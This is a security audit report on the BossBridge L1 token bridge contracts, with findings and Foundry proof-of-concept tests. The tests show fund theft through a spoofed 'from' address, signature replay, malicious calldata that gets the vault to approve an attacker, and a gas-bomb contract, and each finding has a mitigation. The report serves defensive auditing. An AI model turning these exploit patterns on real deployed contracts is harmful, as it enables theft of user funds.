Smart Contract Security Audit Report

BossBridge Security Assessment

Lead Auditor: Kevin Lee

September 1, 2025

Abstract

This document presents the findings of a comprehensive security audit conducted on BossBridge. The audit focused on identifying vulnerabilities, security flaws, and potential improvements in the smart contract implementation. Our methodology included automated analysis, manual code review, and extensive testing procedures.

Contents

1 Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

2 Disclaimer

The Kevin Lee makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the person is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

3 Audit Details

3.1 Scope

`src/L1Token.sol`
`src/L1BossBridge.sol`
`src/L1Vault.sol`
`src/TokenFactory.sol`

3.2 Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

4 High

4.1 [H-1] L2 recipient address don't have any limit and the `from` field can be manipulated. Attacker can transfer the victim assets to their L2 address directly.

Description The current implementation allows any user to specify the `from` address when depositing tokens to L2. This means that an attacker could potentially manipulate the `from` field to be the address of a victim, allowing them to transfer the victim's assets to their own L2 address.

Impact This vulnerability could lead to unauthorized access to user funds, allowing attackers to steal assets from unsuspecting users.

Proof of Concepts An attacker could call the `L1BossBridge::depositTokensToL2` function with the `from` address set to the victim's address, effectively transferring the victim's tokens to the attacker's L2 address.

```
function testL2RecipientCanBeManipulated() public {
    address attackerL2 = makeAddr("attackerL2Address");

    vm.startPrank(user);
    token.approve(address(tokenBridge), 10 ether);
    vm.stopPrank();

    vm.startPrank(attackerL2);
    vm.expectEmit(true, true, true, true);
    emit Deposit(user, attackerL2, 10 ether);
    tokenBridge.depositTokensToL2(user, attackerL2, 10 ether);
    vm.stopPrank();
}
```

Add these to `L1TokenBridge.t.sol` below. **Recommended mitigation** Implement strict checks on the `from` address to ensure that it matches the address of the user initiating the deposit or can add a function to register the address. This could involve using the `msg.sender` address as the `from` address and disallowing any other values.

4.2 [H-2] Attacker can duplicatedly call the function by same signatures until drained out the vault.

Description The current implementation does not account for replay attacks, where an attacker could potentially reuse a valid signature to withdraw tokens from the vault. And attacker might replay signature in different chain to steal assets.

Impact This could allow an attacker to drain the vault by repeatedly calling the withdrawal function with the same signature.

Proof of Concepts An attacker could deposit tokens and then call the `L1BossBridge::sendToL1` function multiple times with the same signature to withdraw all tokens from the vault.

```
function testRepayAttackerSameChainContract() public {
        address attacker = makeAddr("attacker");
        vm.startPrank(user);
        token.approve(address(tokenBridge), 100 ether);
        tokenBridge.depositTokensToL2(user, userInL2, 100 ether);
        vm.stopPrank();

        // sign a normal message
        vm.startPrank(operator.addr);
        bytes memory message = _getTokenWithdrawalMessage(attacker, 10 ether);
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
        vm.stopPrank();

        tokenBridge.withdrawTokensToL1(attacker, 10 ether, v, r, s);
        console2.log("Normal situtation", token.balanceOf(attacker));

        // repay attack
        tokenBridge.withdrawTokensToL1(attacker, 10 ether, v, r, s);
        console2.log("After replay attack", token.balanceOf(attacker));
    }
```

Add these to `L1TokenBridge.t.sol` below.

Recommended mitigation Add the EIP-712 signature scheme(DOMAIN_SEPARATOR) to the withdrawal function to ensure that each withdrawal request is unique and cannot be replayed. This could involve including a nonce or timestamp in the signed message, which would be checked on-chain before processing the withdrawal.

4.3 [H-3] In the `L1BossBridge::depositTokensToL2`, attacker can set `from` field to be vault itself, it will cause the attacker steal all fund in contract.

Description The current implementation does not properly validate the `from` field in the deposit function, allowing an attacker to impersonate the vault and withdraw all funds.

Impact This could allow an attacker to drain the vault by setting the `from` field to the vault's address and calling the deposit function.

Proof of Concepts An attacker could craft a malicious calldata payload and use it to call the `L1BossBridge::sendToL1` function, causing the vault to transfer assets to the attacker's address.

```
    function testFromFieldCanBeManipulatedToStealMoneny() public {
```

```
        address attacker = makeAddr("attacker");

        vm.startPrank(user);
        token.approve(address(tokenBridge), 100 ether);
        tokenBridge.depositTokensToL2(user, userInL2, 100 ether);
        vm.stopPrank();

        vm.startPrank(attacker);
        vm.expectEmit();
        emit Deposit(address(vault), attacker, 10 ether);
        tokenBridge.depositTokensToL2(address(vault), attacker, 10 ether);

        vm.expectEmit();
        emit Deposit(address(vault), attacker, 10 ether);
        tokenBridge.depositTokensToL2(address(vault), attacker, 10 ether);
    }
```

Add these to `L1TokenBridge.t.sol` below.

Recommended mitigation Implement strict checks on the `from` address to ensure that it matches the address of the user initiating the deposit or can add a function to register the address. This could involve using the `msg.sender` address as the `from` address and disallowing any other values.

5 Medium

5.1 [M-1] If the signer accidently sign the malicious calldata, the low-level call lacks checks and attacker can might the call data to set a `GasBomb` contract to waste of signer gas fee.

Description The current implementation uses low-level calls to transfer tokens, which can be manipulated by an attacker to include a `GasBomb` contract in the call data. This contract could consume excessive gas, causing the original transaction to fail and wasting the signer's gas fees.

Impact This vulnerability could lead to denial of service for users attempting to withdraw their funds, as their transactions could be consistently failed by the `GasBomb` contract.

Proof of Concepts An attacker could deploy a `GasBomb` contract and then call the `L1BossBridge::sendToL1` function with the address of the `GasBomb` contract as the recipient. This would cause the transaction to consume excessive gas and fail.

```
function testGasBombAttack() public {
        vm.startPrank(user);
```

```
        token.approve(address(tokenBridge), 100 ether);
        tokenBridge.depositTokensToL2(user, userInL2, 100 ether);
        vm.stopPrank();

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        GasBomb gasbomb = new GasBomb();
        vm.stopPrank();

        bytes memory attackMessage = abi.encode(
            address(gasbomb),
            0,
            abi.encodeCall(GasBomb.attack, ())
        );

        bytes memory normalMessage = _getTokenWithdrawalMessage(attacker, 10 ether);

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(attackMessage, operator.key);
        uint256 gasBefore = gasleft();
        tokenBridge.sendToL1(v, r, s, attackMessage);
        console2.log("gas bomb burn gas", gasBefore - gasleft());

        (uint8 v1, bytes32 r1, bytes32 s1) = _signMessage(normalMessage, operator.key);
        uint256 gasBeforeNormal = gasleft();
        tokenBridge.sendToL1(v1, r1, s1, normalMessage);
        console2.log("normal burn gas", gasBeforeNormal - gasleft());
    }
contract GasBomb{
    uint256 v1 = 0;
    uint256 v2 = 0;
    uint256 v3 = 0;
    function attack() public {
        for(;v1 < 1000; v1++){
            for(;v2 < 1000; v2++){
                v3 = v3 + 1;
            }
        }
    }
}
```

Add these to `L1TokenBridge.t.sol` below.

Recommended mitigation Implement strict validation of the call data before executing low-level calls. This could involve checking that the target address is a known and trusted contract, and that the call data does not contain any potentially harmful operations. Additionally, consider using higher-level abstractions for token transfers that include built-in safety checks.

5.2 [M-2] If the signer accidently sign the malicious calldata, the low-level call lacks checks and attacker might manipulate the call data to steal the vault assets by passing malicious calldata.

Description The current implementation uses low-level calls to transfer tokens, which can be manipulated by an attacker to include malicious calldata. This could allow the attacker to steal assets from the vault.

Impact This vulnerability could lead to the loss of funds for users, as their assets could be stolen by an attacker who is able to manipulate the call data.

Proof of Concepts An attacker could craft a malicious calldata payload and use it to call the `L1BossBridge::sendToL1` function, causing the vault to transfer assets to the attacker's address.

```
function testCallVaultApproveByMessage() public {
        vm.startPrank(user);
        token.approve(address(tokenBridge), 100 ether);
        tokenBridge.depositTokensToL2(user, userInL2, 100 ether);
        vm.stopPrank();
        address attacker = makeAddr("attacker");

        bytes memory message = abi.encode(
            address(vault),
            0,
            abi.encodeCall(vault.approveTo,(attacker, type(uint256).max))
        );

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
        tokenBridge.sendToL1(v, r, s, message);
        console2.log("attacker can call vault approveTo", token.allowance(address(vault), at

        vm.startPrank(attacker);
        token.transferFrom(address(vault), attacker, 100 ether);
        console2.log("attacker steal token from vault", token.balanceOf(attacker));
    }
```

Add these to `L1TokenBridge.t.sol` below.

Recommended mitigation Implement strict validation of the call data before executing low-

level calls. This could involve checking that the target address is a known and trusted contract, and that the call data does not contain any potentially harmful operations. Additionally, consider using higher-level abstractions for token transfers that include built-in safety checks.

5.3 [M-3] In `TokenFactory::deployToken` used the ZK Era unsupported opcodes, it will cause executed fail.

Description The current implementation uses opcodes that are not supported in the ZK Era, which can lead to transaction failures.

Impact This could prevent users from deploying tokens on the ZK Era, effectively blocking access to the platform.

Recommended mitigation Update the implementation to use only supported opcodes for the ZK Era, and thoroughly test the deployment process to ensure compatibility.

6 Low

6.1 [L-1] Recommend emitting an event to notify users because the state variable has been changed.

Recommended mitigation

```
    function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) e
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
            )
        );
+           emit WithdrawTokensToL1(to, amount);
    }
```

7 Informational

7.1 [I-1] The state variable recommand use the specify symbol to identify,

Description The current implementation uses generic names for state variables, which can lead to confusion and make the code harder to understand.

```
    IERC20 public immutable token;
    L1Vault public immutable vault;
    mapping(address account => bool isSigner) public signers;
```

Impact This could result in developers misunderstanding the purpose of certain variables, leading to potential bugs and security vulnerabilities.

Recommended mitigation Use more descriptive names for state variables that clearly indicate their purpose and usage within the contract.

```
+    IERC20 public immutable i_token;
+    L1Vault public immutable i_vault;
+    mapping(address account => bool isSigner) public s_signers;
```